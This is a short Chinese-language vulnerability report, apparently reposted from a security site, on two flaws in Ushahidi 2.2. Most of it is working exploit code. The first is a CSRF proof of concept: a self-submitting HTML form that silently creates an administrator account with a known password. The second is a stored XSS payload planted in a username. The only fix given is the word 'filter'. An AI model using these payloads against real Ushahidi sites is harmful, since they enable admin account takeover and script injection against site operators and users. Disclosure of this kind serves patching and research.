标题: Ushahidi 2.2 Multiple Vulnerabilites 作者: shpendk www.2cto.com 软件地址: http://download.ushahidi.com/ 影响版本: 2.2 测试平台: Xampp on Windows 1) CSRF Add Admin PoC: ----------------------------------------------------------------------------------------------------- < html > <body> <form action="http:// www.2cto.com 1/admin/users/edit" method="POST"> <input type="hidden" name="name" value="myname"> <input type="hidden" name="email" value="shpendk13@gmail.com"> <input type="hidden" name="role" value="admin"> <input type="hidden" name="username" value="shpendk"> <input type="hidden" name="notify" value="1"> <input type="hidden" name="password" value="letmein"> <input type="hidden" name="password_again" value="letmein"> </form> <script> document.forms[0].submit(); </script> </body> </html> ------------------------------------------------------------------------------------------------------- 2) 持久型 XSS ------------------------------------------------------------------------------------------------------ -> Go to http://www.2cto.com1/login -> Create New User -> Enter username: <img/onerror="alert(123)"src=a> -> Login as Admin and go to http://127.0.0.1/admin/users 修复方案 过滤
查看更多关于Ushahidi 2.2两个缺陷及修复 - 网站安全 - 自学php的详细内容...